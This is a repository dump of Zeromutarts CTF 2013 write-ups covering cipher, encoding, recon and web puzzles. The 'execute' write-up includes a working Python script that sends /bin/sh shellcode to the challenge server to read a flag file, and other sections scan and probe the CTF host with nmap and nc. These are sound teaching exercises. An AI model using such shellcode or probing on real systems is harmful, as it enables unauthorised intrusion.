├── 404 ├── 404.md └── images │ ├── 404.png │ ├── 404_error_page.png │ └── 414_error_page.png ├── README.md ├── antonin ├── antonin.md ├── images │ └── antonin.png └── sowpods.txt ├── board.png ├── caesar ├── caesar.md ├── caesar.py └── images │ └── caesar.png ├── chbs ├── chbs.md └── images │ └── chbs.png ├── encodings ├── encodings.md └── images │ └── encodings.png ├── execute ├── execute.c ├── execute.md └── images │ └── execute.png ├── hardcoded ├── hardcoded ├── hardcoded.exe ├── hardcoded.md ├── hardcoded_redacted.c └── images │ └── hardcoded.png ├── hidden ├── hidden.md └── images │ ├── hidden.jpg │ └── hidden.png ├── humans_only ├── humans_only.md └── images │ ├── humans.png │ ├── humans_flag.png │ ├── humans_login.png │ └── humans_register.png ├── nmap ├── images │ └── nmap.png └── nmap.md ├── noise ├── images │ └── noise.png ├── noise.html └── noise.md ├── nom ├── images │ ├── nom.png │ ├── nom_cookie_after.png │ ├── nom_cookies.png │ ├── nom_flag.png │ └── nom_link.png └── nom.md ├── overflow ├── images │ └── overflow.png ├── overflow.md ├── overflow_redacted └── overflow_redacted.c ├── pcap ├── images │ ├── pcap.png │ ├── pcap_post1.png │ └── pcap_post2.png ├── pcap.md └── pcap.pcap ├── pseudocode ├── images │ └── pseudocode.png ├── pseudocode └── pseudocode.md ├── puzzle ├── images │ ├── puzzle.png │ ├── puzzle_pieces.png │ ├── qr.png │ └── qr_decoded.png ├── puzzle.md └── puzzle.zip ├── real_overflow ├── images │ └── real_overflow.png ├── real_overflow ├── real_overflow.md └── real_overflow_redacted.c ├── rivest ├── images │ └── rivest.png ├── rivest.md ├── rivest.py └── rivest.txt ├── rsa ├── images │ └── rsa.png ├── rsa.md ├── rsa.py └── rsa.txt ├── serial_verifier ├── images │ ├── serial_verifier.png │ └── serial_verifier_session.png ├── serial ├── serial.dump ├── serial.exe └── serial_verifier.md ├── sweetie ├── images │ └── sweetie.png └── sweetie.md ├── txt_securer ├── images │ └── txt_securer.png ├── txt_securer.md └── txt_securer.py └── xoxo ├── images ├── xoxo-diff.png ├── xoxo-message1.png ├── xoxo-message2.png └── xoxo.png └── xoxo.md /404/404.md: -------------------------------------------------------------------------------- 1 | 404 2 | === 3 | 4 | Flag: **sometimes_error_codes_are_just_a_teapot** 5 | 6 | ![404](images/404.png "404 challenge introduction") 7 | 8 | The challenge flavortext says that "HTTP error codes are kinda fun" and links to 9 | . 10 | 11 | If we visit a URI for a non-existent resource, we see a custom 404 error page 12 | saying that "414 is so much better...": 13 | 14 | ![custom 404 error page](images/404_error_page.png "custom 404 error page") 15 | 16 | The 414 HTTP status code means [Request URI too 17 | long](http://www.checkupdown.com/status/E414.html "definition of the 414 HTTP 18 | status code"), so let's visit a URI longer than the server limit: 19 | 20 | ![custom 414 error page](images/414_error_page.png "custom 414 error page") 21 | 22 | The custom 414 error page contains the flag. 23 | 24 | or, via curl: 25 | 26 | $ curl http://zeromutarts.de:8080/`python -c 'print "414"*1000'` 27 |

414 - Request-URI Too Long


flag{sometimes_error_codes_are_just_a_teapot} 28 | 29 | The flag is thus `sometimes_error_codes_are_just_a_teapot`. 30 | 31 | The teapot is a reference to the April Fools' Day RFC on the [Hyper Text Coffee 32 | Pot Control 33 | Protocol](https://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol 34 | "Hyper Text Coffee Pot Control Protocol"). 35 | 36 | [« Return to challenge board](../README.md "Return to challenge board") 37 | -------------------------------------------------------------------------------- /404/images/404.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/404/images/404.png -------------------------------------------------------------------------------- /404/images/404_error_page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/404/images/404_error_page.png -------------------------------------------------------------------------------- /404/images/414_error_page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/404/images/414_error_page.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Zeromutarts Capture the Flag 2013 challenge writeups 2 | ==================================================== 3 | 4 | Below are writeups for all of the Zeromutarts Capture the Flag 2013 challenges, 5 | with the exception of 3 challenges that required you to be at the event and 6 | which appear in white on the board. 7 | 8 | ![Challenge board](board.png "CTF challenge board") 9 | 10 | * [404 (100 points)](404/404.md "404 (100 points)") 11 | * [antonin (100 points)](antonin/antonin.md "antonin (100 points)") 12 | * [caesar's last wish (100 points)](caesar/caesar.md "caesar's last wish (100 points)") 13 | * [chbs (100 points)](chbs/chbs.md "chbs (100 points)") 14 | * [encodings (100 points)](encodings/encodings.md "encodings (100 points)") 15 | * [hardcoded (100 points)](hardcoded/hardcoded.md "hardcoded (100 points)") 16 | * [hidden (100 points)](hidden/hidden.md "hidden (100 points)") 17 | * [humans only (100 points)](humans_only/humans_only.md "humans only (100 points)") 18 | * [nmap (100 points)](nmap/nmap.md "nmap (100 points)") 19 | * [noise (100 points)](noise/noise.md "noise (100 points)") 20 | * [nom nom nom (100 points)](nom/nom.md "nom nom nom (100 points)") 21 | * [overflow (100 points)](overflow/overflow.md "overflow (100 points)") 22 | * [pcap (100 points)](pcap/pcap.md "pcap (100 points)") 23 | * [pseudocode (100 points)](pseudocode/pseudocode.md "pseudocode (100 points)") 24 | * [puzzle (100 points)](puzzle/puzzle.md "puzzle (100 points)") 25 | * [sweetie (100 points)](sweetie/sweetie.md "sweetie (100 points)") 26 | * [the magic of rsa (100 points)](rsa/rsa.md "the magic of rsa (100 points)") 27 | * [txt_securer (100 points)](txt_securer/txt_securer.md "txt_securer (100 points)") 28 | * [xoxo (100 points)](xoxo/xoxo.md "xoxo (100 points)") 29 | * [execute (200 points)](execute/execute.md "execute (100 points)") 30 | * [real overflow (250 points)](real_overflow/real_overflow.md "real overflow (250 points)") 31 | * [rivest-shamir-adleman (250 points)](rivest/rivest.md "rivest-shamir-adleman (250 points)") 32 | * [serial verifier (250 points)](serial_verifier/serial_verifier.md "serial verifier (250 points)") 33 | -------------------------------------------------------------------------------- /antonin/antonin.md: -------------------------------------------------------------------------------- 1 | antonin 2 | ======= 3 | 4 | Flag: **feel_so_bohemian_like_you** 5 | 6 | ![antonin](images/antonin.png "antonin challenge introduction") 7 | 8 | The challenge flavortext says "I got a letter from my friend Antonín. However, 9 | it's all Czech to me, maybe you can read it" and links to a text file containing 10 | a cipher: 11 | 12 | > E.ap ipc.bew 13 | 14 | > C dgoy ,aby yt n.y ötg rbt, yh. o.jp.y itp yh. .bjpözy.e ojptnn C o.by ötgv Go. cy ,co.nö abe et bty uck. cy yt abötb.v 15 | 16 | > Yh. o.jp.y coV inau{i..n'ot'xth.mcab'ncr.'ötg} 17 | 18 | This appears to be a whitespace, curly-brace, and case-preserving substitution 19 | cipher. We could do some frequency analysis, but we get a lot of help from the 20 | fact that the ciphertext is a letter and appears to end with the flag; I ended 21 | up producing the mapping manually. 22 | 23 | The mapping is: 24 | 25 | . => e 26 | ' => _ 27 | , => w 28 | a => a 29 | b => n 30 | c => i 31 | d => j 32 | e => d 33 | g => u 34 | h => h 35 | i => f 36 | j => c 37 | k => v 38 | n => l 39 | ö => y 40 | o => s 41 | p => r 42 | r => k 43 | t => o 44 | u => g 45 | v => . 46 | w => , 47 | y => t 48 | z => p 49 | 50 | producing: 51 | 52 | E.ap ipc.bew 53 | Dear friend, 54 | 55 | C dgoy ,aby yt n.y ötg rbt, yh. o.jp.y itp yh. .bjpözy.e ojptnn C o.by ötgv Go. cy ,co.nö abe et bty uck. cy yt abötb.v 56 | I just want to let you know the secret for the encrypted scroll I sent you. Use it wisely and do not give it to anyone. 57 | 58 | Yh. o.jp.y coV inau{i..n'ot'xth.mcab'ncr.'ötg} 59 | The secret is. flag{feel_so_ ohe ian_like_you} 60 | 61 | Two letters in the flag never appear elsewhere, leaving `.ohe.ian`. Grepping the 62 | [SOWPODS Scrabble dictionary](sowpods.txt "SOWPODS Scrabble dictionary") for that 63 | pattern gives only 1 hit: 64 | 65 | $ grep "^.OHE.IAN$" sowpods.txt 66 | BOHEMIAN 67 | 68 | The flag is thus `feel_so_bohemian_like_you`. 69 | 70 | [« Return to challenge board](../README.md "Return to challenge board") 71 | -------------------------------------------------------------------------------- /antonin/images/antonin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/antonin/images/antonin.png -------------------------------------------------------------------------------- /board.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/board.png -------------------------------------------------------------------------------- /caesar/caesar.md: -------------------------------------------------------------------------------- 1 | caesar's last wish 2 | ================== 3 | 4 | Flag: **twenty_three_stabs_are_way_too_many** 5 | 6 | ![caesar's last wish](images/caesar.png "caesar's last wish challenge introduction") 7 | 8 | The challenge flavortext says "Caesar left a message for me. Can you 9 | decrypt it?" and links to a text file containing a cipher: 10 | 11 | > zh zrxog qhyhu pdnh lw wkdw hdvb.. rxu hqfubswlrq lv rqh vwhs dkhdg!livi mw er mrgvihmfpi xlsyklx sj geiwevr alex ai amwl, ai viehmpc fipmizi, erh alex ai syvwipziw xlmro, ai mqekmri sxlivw xlmro epws. ai amwl xli jpek mw jpek{xairxc_xlvii_wxefw_evi_aec_xss_qerc} 12 | 13 | This appears to be a whitespace- and punctuation-preserving cipher, 14 | and given the flavortext it probably involves a Caesar cipher. 15 | 16 | After [running the cipher through a range of shifts](caesar.py "Caesar cipher 17 | Python script") and inspecting the output, we find that the first half of the 18 | cipher was produced by a right shift of 3, and the second half by a right shift 19 | of 4: 20 | 21 | -3 22 | we would never make it that easy.. our encryption is one step ahead!ifsf jt bo jodsfejcmf uipvhiu pg dbftbso xibu xf xjti, xf sfbejmz cfmjfwf, boe xibu xf pvstfmwft uijol, xf jnbhjof puifst uijol bmtp. xf xjti uif gmbh jt gmbh{uxfouz_uisff_tubct_bsf_xbz_upp_nboz} 23 | 24 | -4 25 | vd vntkc mdudq lzjd hs sgzs dzrx.. ntq dmbqxoshnm hr nmd rsdo zgdzc!here is an incredible thought of caesarn what we wish, we readily believe, and what we ourselves think, we imagine others think also. we wish the flag is flag{twenty_three_stabs_are_way_too_many} 26 | 27 | The flag is thus `twenty_three_stabs_are_way_too_many`. 28 | 29 | [« Return to challenge board](../README.md "Return to challenge board") 30 | -------------------------------------------------------------------------------- /caesar/caesar.py: -------------------------------------------------------------------------------- 1 | import string 2 | 3 | cipher = "zh zrxog qhyhu pdnh lw wkdw hdvb.. rxu hqfubswlrq lv rqh vwhs dkhdg!livi mw er mrgvihmfpi xlsyklx sj geiwevr alex ai amwl, ai viehmpc fipmizi, erh alex ai syvwipziw xlmro, ai mqekmri sxlivw xlmro epws. ai amwl xli jpek mw jpek{xairxc_xlvii_wxefw_evi_aec_xss_qerc}" 4 | charset = string.ascii_lowercase 5 | 6 | def rot_n(n, cipher): 7 | shifter = string.maketrans(charset, charset[n:] + charset[:n]) 8 | return string.translate(cipher, shifter) 9 | 10 | for shift in range(-1, -10, -1): 11 | print shift 12 | print rot_n(shift, cipher) 13 | print "" 14 | -------------------------------------------------------------------------------- /caesar/images/caesar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/caesar/images/caesar.png -------------------------------------------------------------------------------- /chbs/chbs.md: -------------------------------------------------------------------------------- 1 | chbs 2 | ==== 3 | 4 | Flag: **correct_horse_battery_staple** 5 | 6 | ![chbs](images/chbs.png "chbs challenge introduction") 7 | 8 | The challenge flavortext is "Tr0ub4dor&3". An Internet search on this string 9 | shows that it is a reference to an [XKCD comic](http://xkcd.com/936/ 10 | "Tr0ub4dor&3 XKCD comic") on passwords. 11 | 12 | The password used in the comic is "correct horse battery staple". Replacing the 13 | spaces with underlines, the flag is thus `correct_horse_battery_staple`. 14 | 15 | [« Return to challenge board](../README.md "Return to challenge board") 16 | -------------------------------------------------------------------------------- /chbs/images/chbs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/chbs/images/chbs.png -------------------------------------------------------------------------------- /encodings/encodings.md: -------------------------------------------------------------------------------- 1 | encodings 2 | ========= 3 | 4 | Flag: **et_tu_brute** 5 | 6 | ![encodings](images/encodings.png "encodings challenge introduction") 7 | 8 | The challenge flavortext says "I believe a flag is hidden in this encoding. Can 9 | you find it?" and presents this encoded message: 10 | 11 | > TWF5YmUgeW91IHNob3VsZCB0aGluayB0aGUgb3RoZXIgd2F5OiBbKSJ9cmdoZW9faGdfZ3J7dG55cyIgOnJmbnBlcmpieSBhdiB0bnlzIHJ1ZyBnYnQgaGJMIC9iXCAhcnB2QSggOj90aSB0ZmlocyBuZXZlIHVveSBuYWMgLHJhZW4gc2kgZG5FIG5BXQ== 12 | 13 | The trailing equals signs suggest that the message is base64-encoded: 14 | 15 | >>> import base64 16 | >>> base64.b64decode("TWF5YmUgeW91IHNob3VsZCB0aGluayB0aGUgb3RoZXIgd2F5OiBbKSJ9cmdoZW9faGdfZ3J7dG55cyIgOnJmbnBlcmpieSBhdiB0bnlzIHJ1ZyBnYnQgaGJMIC9iXCAhcnB2QSggOj90aSB0ZmlocyBuZXZlIHVveSBuYWMgLHJhZW4gc2kgZG5FIG5BXQ==") 17 | 'Maybe you should think the other way: [)"}rgheo_hg_gr{tnys" :rfnperjby av tnys rug gbt hbL /b\\ !rpvA( :?ti tfihs neve uoy nac ,raen si dnE nA]' 18 | 19 | Obliging the decoded message, let's reverse the string: 20 | 21 | >>> print """)"}rgheo_hg_gr{tnys" :rfnperjby av tnys rug gbt hbL /b\ !rpvA( :?ti tfihs neve uoy nac ,raen si dnE nA"""[::-1] 22 | An End is near, can you even shift it?: (Avpr! \b/ Lbh tbg gur synt va ybjrepnfr: "synt{rg_gh_oehgr}") 23 | 24 | We can see the telltale flag signature at the end. Is this a simple shift or 25 | something more complicated? Knowing that `synt` maps to `flag`: 26 | 27 | >>> print ord("s") - ord("f") 28 | 13 29 | >>> print ord("y") - ord("l") 30 | 13 31 | 32 | This looks like a standard rot13; let's un-shift it: 33 | 34 | >>> print """Avpr! \\b/ Lbh tbg gur synt va ybjrepnfr: "synt{rg_gh_oehgr}""".decode("rot13") 35 | Nice! \o/ You got the flag in lowercase: "flag{et_tu_brute} 36 | 37 | The flag is thus `et_tu_brute`. 38 | 39 | [« Return to challenge board](../README.md "Return to challenge board") 40 | -------------------------------------------------------------------------------- /encodings/images/encodings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/encodings/images/encodings.png -------------------------------------------------------------------------------- /execute/execute.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char *argv[]) { 4 | char buf[0x1000]; 5 | fgets(buf, sizeof(buf), stdin); 6 | ((void (*)(void)) buf)(); 7 | } 8 | 9 | -------------------------------------------------------------------------------- /execute/execute.md: -------------------------------------------------------------------------------- 1 | execute 2 | ======= 3 | 4 | Flag: **well_that_executed_quickly** 5 | 6 | ![execute](images/execute.png "execute challenge introduction") 7 | 8 | The challenge flavortext says "This [program](execute.c "execute.c") 9 | (x86 Linux) will execute everything you give him, can you find the 10 | flag? `nc ctf.stratum0.net 3333`". 11 | 12 | The linked source code shows a short program that reads data from 13 | `stdin` into a buffer and then jumps to and executes the contents of 14 | that buffer: 15 | 16 | #include 17 | 18 | int main(int argc, char *argv[]) { 19 | char buf[0x1000]; 20 | fgets(buf, sizeof(buf), stdin); 21 | ((void (*)(void)) buf)(); 22 | } 23 | 24 | A flag is stored somewhere on the filesystem of the machine hosting 25 | this networked program, so we'd like to send the program a payload 26 | that will spawn a shell, then use the shell to locate and retrieve the 27 | contents of that flag file. 28 | 29 | Using any old shellcode will do: 30 | 31 | import socket 32 | 33 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 34 | s.connect(('ctf.stratum0.net', 3333)) 35 | 36 | shellcode = "\xb8\x32\x2f\x73\x68\xc1\xe8\x08\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\x89\xd0\x04\x0b\xcd\x80\n" 37 | s.send(shellcode) 38 | print "sent shellcode" 39 | s.send("ls\n") 40 | print s.recv(4096) 41 | s.send("cat flag.txt\n") 42 | print s.recv(4096) 43 | 44 | Running our exploit, we get: 45 | 46 | $ python exploit_networked.py 47 | sent shellcode 48 | execute # Output of ls 49 | flag.txt 50 | 51 | flag{well_that_executed_quickly} # Output of cat. 52 | 53 | The flag is thus `well_that_executed_quickly`. 54 | 55 | [« Return to challenge board](../README.md "Return to challenge board") 56 | -------------------------------------------------------------------------------- /execute/images/execute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/execute/images/execute.png -------------------------------------------------------------------------------- /hardcoded/hardcoded: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/hardcoded/hardcoded -------------------------------------------------------------------------------- /hardcoded/hardcoded.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/hardcoded/hardcoded.exe -------------------------------------------------------------------------------- /hardcoded/hardcoded.md: -------------------------------------------------------------------------------- 1 | hardcoded 2 | ========= 3 | 4 | Flag: **hardcoded_passwords_are_hardcoded** 5 | 6 | ![hardcoded](images/hardcoded.png "hardcoded challenge introduction") 7 | 8 | The challenge flavortext says "Can you crack the password?" and links to Linux 9 | and Windows executables and the source code for the program: 10 | 11 | * [linux](hardcoded) 12 | * [windows](hardcoded.exe) 13 | * [source](hardcoded_redacted.c) 14 | 15 | Running the program, we see that it prompts for a password which we probably 16 | need to provide to receive the flag: 17 | 18 | $ ./hardcoded 19 | Password: test 20 | That was the wrong password. 21 | 22 | Examining the source code, we see that a password is indeed hardcoded, which 23 | means it will show up if we run `strings` on the executable: 24 | 25 | $ strings hardcoded | grep password 26 | That was the wrong password. 27 | SuperSecur3password!1 28 | password 29 | 30 | We'll use `SuperSecur3password!1` to get the flag: 31 | 32 | $ ./hardcoded 33 | Password: SuperSecur3password!1 34 | 35 | Congratulations! Your flag is: "flag{hardcoded_passwords_are_hardcoded}" 36 | 37 | The flag is thus `hardcoded_passwords_are_hardcoded`. 38 | 39 | [« Return to challenge board](../README.md "Return to challenge board") 40 | -------------------------------------------------------------------------------- /hardcoded/hardcoded_redacted.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | char flag[] = "not_the_real_flag"; 4 | 5 | char password[] = "not_the_real_password"; 6 | 7 | int main(int argc, char *argv[]) { 8 | int i; 9 | char buf[sizeof(password)+1]; 10 | 11 | printf("Password: "); 12 | 13 | fgets(buf, sizeof(buf)-1, stdin); 14 | buf[sizeof(buf)] = 0; 15 | 16 | if (strcmp(password, buf) != 0) { 17 | puts("That was the wrong password."); 18 | return 1; 19 | } 20 | 21 | for (i = 0; i < sizeof(flag)-1; ++i) { 22 | flag[i] = flag[i] ^ 0x80; 23 | } 24 | 25 | printf("\nCongratulations! Your flag is: \"%s\"\n", flag); 26 | 27 | return 0; 28 | } 29 | 30 | -------------------------------------------------------------------------------- /hardcoded/images/hardcoded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/hardcoded/images/hardcoded.png -------------------------------------------------------------------------------- /hidden/hidden.md: -------------------------------------------------------------------------------- 1 | hidden 2 | ====== 3 | 4 | Flag: **oh_shit_you_must_be_the_chosen_one** 5 | 6 | ![hidden](images/hidden.png "hidden challenge introduction") 7 | 8 | The challenge consists solely of an [image from the Matrix](images/hidden.jpg 9 | "image from the Matrix"). 10 | 11 | Let's learn a bit more about the image by running it through `file`: 12 | 13 | $ file hidden.jpg 14 | hidden.jpg: JPEG image data, JFIF standard 1.01, comment: "flag{oh_shit_you_must_be_the_chosen_one}" 15 | 16 | The flag is thus `oh_shit_you_must_be_the_chosen_one`. 17 | 18 | [« Return to challenge board](../README.md "Return to challenge board") 19 | -------------------------------------------------------------------------------- /hidden/images/hidden.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/hidden/images/hidden.jpg -------------------------------------------------------------------------------- /hidden/images/hidden.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/hidden/images/hidden.png -------------------------------------------------------------------------------- /humans_only/humans_only.md: -------------------------------------------------------------------------------- 1 | humans only 2 | =========== 3 | 4 | Flag: **can_i_borrow_a_cup_of_robots** 5 | 6 | ![humans](images/humans.png "humans only challenge introduction") 7 | 8 | The challenge flavortext says "You shouldn't be a human for this" with a link to 9 | , which shows a login form: 10 | 11 | ![humans login form](images/humans_login.png "humans login form") 12 | 13 | Based on flavortext, let's visit `/robots.txt`. We find: 14 | 15 | User-agent: * 16 | Disallow: /register1337.php 17 | 18 | Disallow: /harming/humans 19 | Disallow: /ignoring/human/orders 20 | Disallow: /harm/to/self 21 | 22 | Let's visit `/register1337.php`: 23 | 24 | ![humans registration page](images/humans_register.png "humans registration page") 25 | 26 | We are presented with a registration form, so let's register with throwaway 27 | credentials and then use them on the login page. After logging in, we see: 28 | 29 | ![humans flag](images/humans_flag.png "humans flag") 30 | 31 | The flag is thus `can_i_borrow_a_cup_of_robots`. 32 | 33 | [« Return to challenge board](../README.md "Return to challenge board") 34 | -------------------------------------------------------------------------------- /humans_only/images/humans.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/humans_only/images/humans.png -------------------------------------------------------------------------------- /humans_only/images/humans_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/humans_only/images/humans_flag.png -------------------------------------------------------------------------------- /humans_only/images/humans_login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/humans_only/images/humans_login.png -------------------------------------------------------------------------------- /humans_only/images/humans_register.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/humans_only/images/humans_register.png -------------------------------------------------------------------------------- /nmap/images/nmap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/nmap/images/nmap.png -------------------------------------------------------------------------------- /nmap/nmap.md: -------------------------------------------------------------------------------- 1 | nmap 2 | ==== 3 | 4 | Flag: **hoist_the_anchor_we_leave_the_port** 5 | 6 | ![nmap](images/nmap.png "nmap challenge introduction") 7 | 8 | The challenge flavortext says "Do you know nmap?". 9 | 10 | Running `nmap` against the CTF host produces: 11 | 12 | $ nmap zeromutarts.de 13 | 14 | Starting Nmap 5.00 ( http://nmap.org ) at 2013-11-15 21:43 EST 15 | Interesting ports on zeromutarts.ikmfbs.ing.tu-bs.de (134.169.18.173): 16 | Not shown: 992 filtered ports 17 | PORT STATE SERVICE 18 | 7/tcp open echo 19 | 22/tcp open ssh 20 | 80/tcp open http 21 | 2222/tcp closed unknown 22 | 3333/tcp closed dec-notes 23 | 8000/tcp open http-alt 24 | 8080/tcp open http-proxy 25 | 8085/tcp closed unknown 26 | 27 | Nmap done: 1 IP address (1 host up) scanned in 10.62 seconds 28 | 29 | The `echo` service running on port 7 is unusual; what happens if we connect to 30 | that port? 31 | 32 | $ nc zeromutarts.de 7 33 | flag{hoist_the_anchor_we_leave_the_port} 34 | 35 | The flag is thus `hoist_the_anchor_we_leave_the_port`. 36 | 37 | [« Return to challenge board](../README.md "Return to challenge board") 38 | -------------------------------------------------------------------------------- /noise/images/noise.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/noise/images/noise.png -------------------------------------------------------------------------------- /noise/noise.html: -------------------------------------------------------------------------------- 1 | flag{the_fold_forwards_the_attraction}
2 | flag{the_unadvised_coal_consolidates_the_judge}
3 | flag{the_present_stretch_exchanges_the_disease}
4 | flag{the_peace_purchases_the_outstanding_cloth}
5 | flag{the_unarmed_person_dissects_the_industry}
6 | flag{the_bite_derives_the_connection}
7 | flag{the_waste_nurses_the_smile}
8 | flag{the_flame_spokes_the_victorious_name}
9 | flag{the_digestion_supports_the_attention}
10 | flag{the_second_weight_classifys_the_structure}
11 | flag{the_woman_persuades_the_destruction}
12 | flag{the_fear_relateds_the_filthy_ink}
13 | flag{the_rate_diversifys_the_curly_discovery}
14 | flag{the_sex_ensures_the_play}
15 | flag{the_familiar_sister_launchs_the_fall}
16 | flag{the_cool_back_collects_the_rain}
17 | flag{the_butter_widens_the_spotty_care}
18 | flag{the_cause_enables_the_protective_meat}
19 | flag{the_grip_aligns_the_temporary_cough}
20 | flag{the_certain_noise_acquires_the_hour}
21 | flag{the_smiling_fire_computes_the_thought}
22 | flag{the_substance_forwards_the_quickest_wood}
23 | flag{the_disgusting_control_writes_the_son}
24 | flag{the_friend_compiles_the_motionless_respect}
25 | flag{the_handy_woman_details_the_danger}
26 | flag{the_name_calculates_the_burst}
27 | flag{the_order_locates_the_question}
28 | flag{the_judge_advocates_the_pain}
29 | flag{the_soup_serves_the_messy_motion}
30 | flag{the_time_enters_the_hungry_statement}
31 | flag{the_mundane_test_extrapolates_the_belief}
32 | flag{the_annoying_vessel_teachs_the_form}
33 | flag{the_comfort_inventorys_the_selfish_lift}
34 | flag{the_incredible_bite_revises_the_look}
35 | flag{the_run_dedicates_the_guarded_person}
36 | flag{the_chilly_music_structures_the_addition}
37 | flag{the_teenytiny_lift_symbolizes_the_harmony}
38 | flag{the_burn_measures_the_organisation}
39 | flag{the_trade_refines_the_belief}
40 | flag{the_sex_records_the_empty_roll}
41 | flag{the_start_classifys_the_futuristic_stitch}
42 | flag{the_sister_officiates_the_existence}
43 | flag{the_owner_listens_the_longing_digestion}
44 | flag{the_fall_exhibits_the_stop}
45 | flag{the_cute_water_nurses_the_rate}
46 | flag{the_chivalrous_water_considers_the_bit}
47 | flag{the_fluttering_blow_localizes_the_family}
48 | flag{the_obtainable_payment_restores_the_system}
49 | flag{the_yielding_behavior_executes_the_fact}
50 | flag{the_comfortable_turn_convinces_the_account}
51 | flag{the_sugar_anticipates_the_sulky_cloth}
52 | flag{the_run_combines_the_dust}
53 | flag{the_hot_care_negotiates_the_market}
54 | flag{the_space_centralizes_the_drunk_jelly}
55 | flag{the_question_resolves_the_way}
56 | flag{the_boring_oil_learns_the_rub}
57 | flag{the_regret_calculates_the_smash}
58 | flag{the_voice_involves_the_division}
59 | flag{the_grandiose_song_insures_the_earth}
60 | flag{the_purpose_creates_the_magenta_silver}
61 | flag{the_end_analyzes_the_milky_use}
62 | flag{the_shock_extracts_the_valuable_run}
63 | flag{the_historical_opinion_saves_the_roll}
64 | flag{the_growth_greets_the_scale}
65 | flag{the_part_orders_the_tense_rule}
66 | flag{the_reason_troubleshots_the_illfated_company}
67 | flag{the_fast_writing_experiments_the_road}
68 | flag{the_week_transforms_the_diligent_ice}
69 | flag{the_vacuous_voice_interfaces_the_stop}
70 | flag{the_law_solicits_the_ludicrous_sense}
71 | flag{the_flight_programs_the_old_mass}
72 | flag{the_industry_intervenes_the_loss}
73 | flag{the_heat_values_the_full_balance}
74 | flag{the_print_enlists_the_substance}
75 | flag{the_grass_inventorys_the_way}
76 | flag{the_thirsty_taste_begins_the_selection}
77 | flag{the_danger_recognizes_the_uttermost_motion}
78 | flag{the_name_verifys_the_exchange}
79 | flag{the_tasty_vessel_dissects_the_year}
80 | flag{the_reading_records_the_amusement}
81 | flag{the_bright_owner_advocates_the_breath}
82 | flag{the_position_relates_the_change}
83 | flag{the_judge_conducts_the_person}
84 | flag{the_impulse_appraises_the_example}
85 | flag{the_ray_amends_the_complete_impulse}
86 | flag{the_rainy_debt_publishs_the_place}
87 | flag{the_development_conceives_the_food}
88 | flag{the_form_schedules_the_solid_water}
89 | flag{the_experience_emphasizes_the_scandalous_current}
90 | flag{the_secretary_grants_the_trick}
91 | flag{the_ornament_gauges_the_supreme_language}
92 | flag{the_stingy_grain_enables_the_meeting}
93 | flag{the_grain_illustrates_the_jolly_family}
94 | flag{the_boiling_price_cooperates_the_bread}
95 | flag{the_salt_shares_the_sugar}
96 | flag{the_spooky_join_appoints_the_sound}
97 | flag{the_prose_unifys_the_fascinated_relation}
98 | flag{the_sense_authorizes_the_godly_purpose}
99 | flag{the_rough_point_set_ups_the_ice}
100 | flag{the_daffy_month_cooperates_the_leather}
101 | flag{the_reward_defines_the_lewd_work}
102 | flag{the_bite_mediates_the_two_smoke}
103 | flag{the_profit_participates_the_highpitched_fiction}
104 | flag{the_shut_balance_initiates_the_wine}
105 | flag{the_cork_canvasss_the_drab_news}
106 | flag{the_lumpy_salt_dealt_withs_the_owner}
107 | flag{the_trick_locates_the_abnormal_pleasure}
108 | flag{the_polite_kiss_check_ins_the_print}
109 | flag{the_red_stop_fashions_the_blood}
110 | flag{the_lead_listens_the_nosy_operation}
